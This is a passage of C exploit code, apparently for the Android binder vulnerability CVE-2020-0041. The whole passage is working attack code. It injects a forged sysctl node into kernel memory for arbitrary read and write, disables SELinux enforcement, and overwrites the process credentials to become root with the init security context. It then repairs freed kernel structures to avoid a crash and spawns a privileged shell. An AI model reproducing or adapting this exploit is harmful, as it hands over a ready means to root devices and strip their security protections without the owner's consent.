/* Now we can prepare our magic sysctl node as s child of the left-most node */
uint64_t sysctl_table_root = kernel_base + SYSCTL_TABLE_ROOT_OFFSET;
printf("[+] sysctl_table_root = %lx\n", sysctl_table_root);
uint64_t ctl_dir = sysctl_table_root + 8;
uint64_t node = read64(ctl_dir + 80);
uint64_t prev_node;
while (node != 0) {
prev_node = node;
node = read64(node + 0x10);
}
/* We found the insertion place, setup the node */
uint64_t node_kaddr = kaddr;
void *node_uaddr = map;
uint64_t tbl_header_kaddr = kaddr + 0x80;
void *tbl_header_uaddr = map + 0x80;
uint64_t ctl_table_kaddr = kaddr + 0x100;
ctl_table_uaddr = map + 0x100;
uint64_t procname_kaddr = kaddr + 0x200;
void * procname_uaddr = map + 0x200;
/* Setup rb_node */
*(uint64_t *)(node_uaddr + 0x00) = prev_node; // parent = prev_node
*(uint64_t *)(node_uaddr + 0x08) = 0; // right = null
*(uint64_t *)(node_uaddr + 0x10) = 0; // left = null
*(uint64_t *)(node_uaddr + 0x18) = tbl_header_kaddr; // my_tbl_header
*(uint64_t *)(tbl_header_uaddr) = ctl_table_kaddr;
*(uint64_t *)(tbl_header_uaddr + 0x18) = 0; // unregistering
*(uint64_t *)(tbl_header_uaddr + 0x20) = 0; // ctl_table_arg
*(uint64_t *)(tbl_header_uaddr + 0x28) = sysctl_table_root; // root
*(uint64_t *)(tbl_header_uaddr + 0x30) = sysctl_table_root; // set
*(uint64_t *)(tbl_header_uaddr + 0x38) = sysctl_table_root + 8; // parent
*(uint64_t *)(tbl_header_uaddr + 0x40) = node_kaddr; // node
*(uint64_t *)(tbl_header_uaddr + 0x48) = 0; // inodes.first
/* Now setup ctl_table */
uint64_t proc_doulongvec_minmax = kernel_base + PROC_DOULONGVEC_MINMAX_OFFSET;
*(uint64_t *)(ctl_table_uaddr) = procname_kaddr; // procname
*(uint64_t *)(ctl_table_uaddr + 8) = kernel_base; // data == what to read/write
*(uint32_t *)(ctl_table_uaddr + 16) = 0x8;
*(uint64_t *)(ctl_table_uaddr + 0x20) = proc_doulongvec_minmax; // proc_handler
*(uint32_t *)(ctl_table_uaddr + 20) = 0666; // mode = rw-rw-rw-
/*
* Compute and write the node name. We use a random name starting with aaa
* for two reasons:
*
* - Must be the first node in the tree alphabetically given where we insert it (hence aaa...)
*
* - If we already run, there's a cached dentry for each name we used earlier which has dangling
* pointers but is only reachable through path lookup. If we'd reuse the name, we'd crash using
* this dangling pointer at open time.
*
* It's easier to have a unique enough name instead of figuring out how to clear the cache,
* which would be the cleaner solution here.
*/
int fd = open("/dev/urandom", O_RDONLY);
uint32_t rnd;
read(fd, &rnd, sizeof(rnd));
sprintf(procname_uaddr, "aaa_%x", rnd);
sprintf(pathname, "/proc/sys/%s", procname_uaddr);
/* And finally use a write8 to inject this new sysctl node */
struct exp_node *write8_sysctl = node_new("write8_sysctl");
node_write8(write8_sysctl, kaddr, prev_node + 16);
/* Since our write is mirrored, let's clear the unwanted side-effect right away */
*(uint64_t *)(map + 8) = 0;
printf("[+] Injected sysctl node!\n");
/* Step 3: Disable selinux by writing NULL to selinux_enforcing */
struct exp_node *write8_selinux = node_new("write8_selinux");
uint64_t enforcing = read64(kernel_base + SELINUX_ENFORCING_OFFSET - 4);
node_write_null(write8_selinux, kernel_base + SELINUX_ENFORCING_OFFSET - 4);
sleep(1);
write64(kernel_base + SELINUX_ENFORCING_OFFSET - 4, (uint32_t)enforcing);
/* patch our credentials to root user with kernel/init security context */
uint64_t init_sec = read64((uint64_t)&((struct cred *)init_cred)->security);
uint32_t init_sid = 0;
if (init_sec != 0)
init_sid = read32((uint64_t)&((struct task_security_struct *)init_sec)->sid);
uint64_t real_cred_addr = read64(current + REAL_CRED_OFFSET);
patch_task_cred(real_cred_addr, init_sid);
uint64_t cred_addr = read64(current + REAL_CRED_OFFSET + 8);
if (real_cred_addr != cred_addr)
patch_task_cred(cred_addr, init_sid);
if (getuid() != 0) {
printf("[!!] Something went wrong, we're not root!!\n");
goto out;
}
/* Step Now we can clean things up. */
/* Cleanup the `sendmsg()` threads, which hold a reference to the freed
* `binder_node`.
*/
struct exp_node *nodes[] = {write8_inode, write8_selinux, write8_sysctl};
for (int j = 0; j < 3; j++) {
printf("[+] Node %s, pid %d, kaddr %lx\n", nodes[j]->name, nodes[j]->tid, nodes[j]->kaddr);
if (!nodes[j]->tid) {
printf("[+] Node %s has no thread id? \n", nodes[j]->name);
continue;
}
/* Looking for pointers in the different nodes. */
uint64_t task = get_task_by_pid(init_task, nodes[j]->tid);
if (!task) {
printf("[!] Couldn't find task for pid %d\n", nodes[j]->tid);
continue;
}
uint64_t kstack = read64(task + 0x58);
for (int i = 0; i < 0x4000; i += 8) {
if (read64(kstack + i) == nodes[j]->kaddr) {
/* We overwrite with 0x10, as `kfree()` will not complain when encountering it,
* contrary to the NULL ptr.
*/
log_info("[+] Replaced sendmmsg dangling reference\n");
write64(kstack + i, 0x10);
}
}
kill(nodes[j]->tid, SIGKILL);
waitpid(nodes[j]->tid, NULL, 0);
}
log_info("[+] Cleaned up sendmsg threads\n");
/* Bump up f_count to avoid entering into pipe_release() when exiting the process. */
write64(file_addr + 0x38, 0xff);
/* Clear up our fake node */
write64(prev_node + 16, 0);
/* We also smashed our epitem, try and restore that ... */
printf("[+] epitem.next = %lx\n", read64(file->kaddr + 88));
printf("[+] epitem.prev = %lx\n", read64(file->kaddr + 88 + 8));
// Just set next = prev, since we should be the only epitem here
write64(file->kaddr + 88, read64(file->kaddr + 88 + 8));
if (revert_enforcing) {
//printf("[+] revert option active...\n");
write64(kernel_base + SELINUX_ENFORCING_OFFSET - 4, enforcing);
}
/* Free all those pending nodes and threads */
if (exec_no_fork) {
node_free(file);
node_free(epitem_node);
}
node_free(write8_selinux);
node_free(write8_inode);
node_free(write8_sysctl);
cleanup_realloc_threads();
/* We can finally enjoy our root shell. */
log_info("[+] Launching privileged shell\n");
argv[0] = "/system/bin/sh";
argc = 1;
if (cmd != NULL) {
argv[argc++] = "-c";
argv[argc++] = cmd;
}
argv[argc] = NULL;
char *envp[] = {"PATH=/sbin:/system/sbin:/product/bin:/apex/com.android.runtime/bin:/system/bin:/system/xbin:/odm/bin:/vendor/bin:/vendor/xbin", "ANDROID_DATA=/data", "HOSTNAME=root_by_cve-2020-0041", NULL};